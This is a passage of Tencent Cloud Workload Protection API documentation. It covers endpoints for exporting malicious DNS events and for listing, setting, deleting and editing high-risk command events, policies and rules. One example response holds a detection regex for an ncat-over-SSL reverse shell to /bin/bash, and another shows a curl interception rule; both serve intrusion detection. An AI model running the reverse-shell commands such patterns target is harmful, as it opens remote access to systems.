"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7"
}
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

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Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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ExportRiskDnsEventList

Last updated：2024-12-06 15:40:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the malicious request event list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportRiskDnsEventList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• IpOrName - String - required: no - filter by host IP or alias • HostId - String - required: no - host ID • AgentId - String - required: no - client ID • PolicyType - String - required: no - policy type: 0 - system policy; 1 - user-defined policy • Domain - String - required: no - domain name (First convert the domain name into the urlencode format, and then encode it using base64.) • HandleStatus - String - required: no - filter by status: 0 - pending; 2 - trusted; 3 - untrusted • BeginTime - String - required: no - start time of last access • EndTime - String - required: no - end time of last access

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Order	No	String	Sorting method: [ASC: ascending order|DESC: descending order]
By	No	String	Sorting field: [AccessCount: number of requests|LastTime: last request time]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Malicious Request Events

This example shows you how to export.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportRiskDnsEventList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "130e109f-a922-4d16-827d-b17a366125a2",
"TaskId": "9989"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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High-Risk Command APIs
DescribeBashEvents

Last updated：2024-12-06 15:41:14

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the high-risk command list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBashEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Filters.N	No	Array of Filter	Filter criteria • HostName - String - required: no - host name • Hostip - String - required: no - host's private IP address • RuleCategory - Int - required: no - policy type (all types or a single type): 0: system; 1: user • RuleName - String - required: no - policy name

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			• RuleLevel - Int - required: no - threat Level (multiple levels supported) • Status - Int - required: no - processing status (multiple statuses supported): 0: pending; 1: processed; 2: added to allowlist; 3: ignored; 4: deleted; 5: blocked • DetectBy - Int - required: no - data source (multiple sources supported): 0: bash logs; 1: real-time monitoring • StartTime - String - required: no - start time • EndTime - String - required: no - end time
Offset	No	Integer	Offset, which defaults to 0
Order	No	String	Sorting method: sort by number of requests. asc: ascending order; desc: descending order.
By	No	String	Sorting field. CreateTime: occurrence time; ModifyTime: processing time.

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of entries
List	Array of BashEvent	List of high-risk command events
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 List of High-Risk Command Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBashEvents
<Common request parameters>
```

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```
{
"Limit": "1",
"Offset": "0"
}
```

Output Example


```
{
"Response": {
"List": [
{
"Uuid": "02db9a21-78fe-4a4c-b96f-a11bf819a962",
"Id": 3148114,
"Quuid": "02db9a21-78fe-4a4c-b96f-a11bf819a962",
"Hostip": "192.168.111.28",
"User": "root",
"Platform": 4,
"BashCmd": "./r3hook_tool moc -var www.test123.com",
"RuleId": 0,
"RuleName": "sysrule_custom_procmon_1",
"RuleLevel": 1,
"Status": 0,
"CreateTime": "2022-09-01 17:28:39",
"MachineName": "a malicious request of v_llzlu",
"DetectBy": 0,
"Pid": "0",
"Exe": "",
"ModifyTime": "0001-01-01 00:00:00",
"RegexBashCmd": "\\./r3hook_tool moc -var www\\.test123\\.com",
"RuleCategory": 0
}
],
"RequestId": "c787b780-0a35-4fa5-aca3-db339b9a20e8",
"TotalCount": 51315
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeBashEventsNew

Last updated：2024-12-06 15:41:13

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of high-risk commands (new).

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBashEventsNew.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Quantity of returns. It is 10 by default, and the maximum value is 100.
Filters.N	No	Array of Filter	Filter criteria • HostName - String - required: no - host name • Hostip - String - required: no - host's private IP address • HostIp - String - required: no - host's private IP address • RuleCategory - Int - required: no - policy type (all types or a single type): 0: system; 1: user • RuleName - String - required: no - policy name • RuleLevel - Int - required: no - threat Level (multiple levels supported)

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			• Status - Int - required: no - processing status (multiple statuses supported): 0: pending; 1: processed; 2: added to allowlist; 3: ignored; 4: deleted; 5: blocked • DetectBy - Int - required: no - data source (multiple sources supported): 0: bash logs; 1: real-time monitoring • StartTime - String - required: no - start time • EndTime - String - required: no - end time
Offset	No	Integer	Offset. Default value: 0.
Order	No	String	Sorting method: sort by number of requests. asc: ascending; desc: descending.
By	No	String	Sorting field. CreateTime: occurrence time; ModifyTime: processing time.

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number
List	Array of BashEventNew	High-risk command event list
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 High-Risk Command Event List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBashEventsNew
<Common request parameters>

{
```

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```
"Limit": "1",
"Offset": "0"
}
```

Output Example


```
{
"Response": {
"List": [
{
"Uuid": "02db9a21-78fe-4a4c-b96f-a11bf819a962",
"Id": 3148114,
"Quuid": "02db9a21-78fe-4a4c-b96f-a11bf819a962",
"HostIp": "192.168.111.28",
"User": "root",
"Platform": 4,
"BashCmd": "./r3hook_tool moc -var www.test123.com",
"RuleId": 0,
"RuleName": "sysrule_custom_procmon_1",
"RuleLevel": 1,
"Status": 0,
"CreateTime": "2022-09-01 17:28:39",
"MachineName": "v_llzlu malicious request",
"DetectBy": 0,
"Pid": "0",
"Exe": "",
"ModifyTime": "0001-01-01 00:00:00",
"RegexBashCmd": "\\./r3hook_tool moc -var www\\.test123\\.com",
"MachineType": 0,
"RuleCategory": 0
}
],
"RequestId": "c787b780-0a35-4fa5-aca3-db339b9a20e8",
"TotalCount": 51315
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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SetBashEventsStatus

Last updated：2024-12-06 15:41:08

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to set the high-risk command event status.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SetBashEventsStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	ID array (The maximum number of IDs is 100)
Status	Yes	Integer	New status (0 - pending; 1 - high-risk; 2 - normal)

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Setting the Status of High-Risk Command Events

This example shows you how to set the status of high-risk command events.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=SetBashEventsStatus
&Ids.0=1
&Ids.1=2
&Status=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteBashEvents

Last updated：2024-12-06 15:41:16

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete high-risk command events based on IDs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteBashEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	ID array. Maximum number of IDs: 100.

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting High-Risk Command Events

This example shows you how to delete high-risk command events.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteBashEvents
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeBashPolicies

Last updated：2024-12-06 15:41:12

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of high-risk command policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBashPolicies.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Quantity of returned entries. The maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filtering criteria • Name - String - required: no - rule name • Rule - String - required: no - rule content • Level - Int - required: no - threat level • White - Int - required: no - allowlist type • Category - Int - required: no - policy type • BashAction - Int - required: no - action

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			• Enable - Int - required: no - enabling status • Id - Int - required: no - policy ID • PolicyId - Int - required: no - policy ID • RuleId - Int - required: no - rule ID

3. Output Parameters

Parameter Name	Type	Description
List	Array of BashPolicy	List content
TotalCount	Integer	Total number of entries
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Policy List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBashPolicies
<Common request parameters>

{
"Limit": "10",
"Offset": "0"
}
```

Output Example

```
{
"Response": {
"List": [
```

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```
{
"Name": "Allowlist 1",
"Enable": 1,
"White": 0,
"BashAction": 2,
"Rule": "curl www.qq.com",
"Level": 2,
"Scope": 2,
"Id": 10004,
"Descript": "message \"Allowlist 1\" not found in language \"zh-CN\"",
"EventId": 0,
"CreateTime": "2022-08-19 15:57:45",
"ModifyTime": "2022-08-30 23:54:43",
"Uuids": [],
"DealOldEvents": 0,
"Quuids": [
""
],
"Category": 1
},
{
"Name": "Interception rule 1",
"Enable": 1,
"White": 0,
"BashAction": 2,
"Rule": "curl www.test0527.com",
"Level": 1,
"Scope": 2,
"Id": 10005,
"Descript": "message \"Interception rule 1\" not found in language \"zh-CN\"",
"EventId": 0,
"CreateTime": "2022-08-23 20:28:02",
"ModifyTime": "2022-08-23 20:28:02",
"Uuids": [],
"DealOldEvents": 0,
"Quuids": [
""
],
"Category": 1
}
],
"RequestId": "f3fe3ac0-099b-4afc-b383-fbf58e8c385a",
"TotalCount": 2
}
}
```


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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ResourceNotFound	The resource does not exist.

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DescribeBashRules

Last updated：2025-03-11 23:00:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of high-risk command rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBashRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Type	Yes	Integer	0: system rule; 1: user rule.
Limit	No	Integer	Number of returned entries. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter criteria • Keywords - String - required: no - keyword (rule name)

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3. Output Parameters

Parameter Name	Type	Description
List	Array of BashRule	List content
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to obtain the list of high-risk command rules.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBashRules
<common request parameters>

{
"Type": 1
}
```

Output Example

```
{
"Response": {
"List": [
{
"CreateTime": "2021-04-10 16:46:55",
"DealOldEvents": 0,
"Decription": "desc",
"Description": "desc",
"Hostip": "10.0.1****",
```

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```
"Id": 1,
"IsGlobal": 0,
"Level": 3,
"ModifyTime": "2021-04-10 16:46:55",
"Name": "Reverse Shell",
"Operator": "root",
"Rule": "ncat\\s+--ssl.*?\\/bin\\/bash",
"Status": 0,
"Uuid": "69E78F7F-FFC7-47D1-B406-13C9852******",
"Uuids": [
"d4cc302e-09e5-436f-b99b-5ab9c9070323"
],
"White": 0
}
],
"RequestId": "a0e9ed25-686e-452b-8dd1-ef25440c6543",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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EditBashRules

Last updated：2024-12-06 15:41:11

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add or modify high-risk command rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: EditBashRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	No	Integer	Rule ID (leave this parameter blank for addition)
Uuids.N	No	Array of String	Client ID array
HostIp	No	String	Host IP address
Name	No	String	Rule name, which cannot be modified during editing
Level	No	Integer	Risk level (0: none; 1: high-risk; 2: medium-risk; 3: low-risk)

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Rule	No	String	Regular expression, which cannot be modified during editing. Apply the QueryEscape function to the content and then perform Base64 encoding.
IsGlobal	No	Integer	Whether the rule is global. 1: global; 0: not global (default value).
White	No	Integer	0: blocklist; 1: allowlist
EventId	No	Integer	When it is added to the allowlist, the event ID needs to be passed in.
DealOldEvents	No	Integer	Whether to add existing events to the allowlist. 0: no; 1: yes.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding/Modifying High-Risk Command Rules

This example shows you how to add/modify high-risk command rules. The previous EditBashRule only supported users to enter a single IP to add or modify high-risk command rules, while the EditBashRules API supports selecting multiple servers.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: EditBashRules
<Common request parameters>

{
"Name": "test",
"Level": 1,
"Rule": ".*",
"IsGlobal": 0,
```

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```
"Uuids": [
"uuids1",
"uuids2"
]
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.IpNoValid	The IP format is invalid.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameter.RuleHostipErr	Rule-based API with incorrect host IPs.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ModifyBashPolicy

Last updated：2024-12-06 15:41:09

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add or modify high-risk command policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyBashPolicy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Policy	Yes	BashPolicy	Specific policy configuration

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding to the Allowlist

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyBashPolicy
<Common request parameters>

{
"Policy": {
"Enable": "1",
"Name": "testbash",
"BashAction": "1",
"Level": "0",
"Descript": "testbash",
"Rule": "dGVzdCo",
"Scope": "3",
"White": "1",
"DealOldEvents": "0"
}
}
```

Output Example

```
{
"Response": {
"RequestId": "ecf21829-71f7-4de6-86c8-6c73e575efbe"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.IpNoValid	The IP format is invalid.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameter.RuleHostipErr	Rule-based API with incorrect host IPs.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteBashPolicies

Last updated：2024-12-06 15:41:15

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete high-risk command policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteBashPolicies.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	ID array, with the maximum value being 100.

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting the Policy

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteBashPolicies
<Common request parameters>

{
"Ids": [
"10006"
]
}
```

Output Example

```
{
"Response": {
"RequestId": "e0d4f152-f567-4d23-86fd-138decdb0e47"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteBashRules

Last updated：2024-12-06 15:41:15

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete high-risk command rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteBashRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	ID array (The maximum number of IDs is 100)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting High-Risk Command Rules

This example shows you how to delete high-risk command rules.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteBashRules
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ModifyBashPolicyStatus

Last updated：2024-12-06 15:41:09

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to switch the statuses of high-risk command policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyBashPolicyStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Rule ID
Enable	Yes	Integer	Whether to disable

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Switching a High-risk Command Rule Status

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyBashPolicyStatus
<Common request parameters>

{
"Enable": "0",
"Id": "100"
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

Example2 Setting a Policy to Not Take Effective

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyBashPolicyStatus
<Common request parameters>

{
"Enable": "0",
"Id": "10006"
}
```

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Output Example

```
{
"Response": {
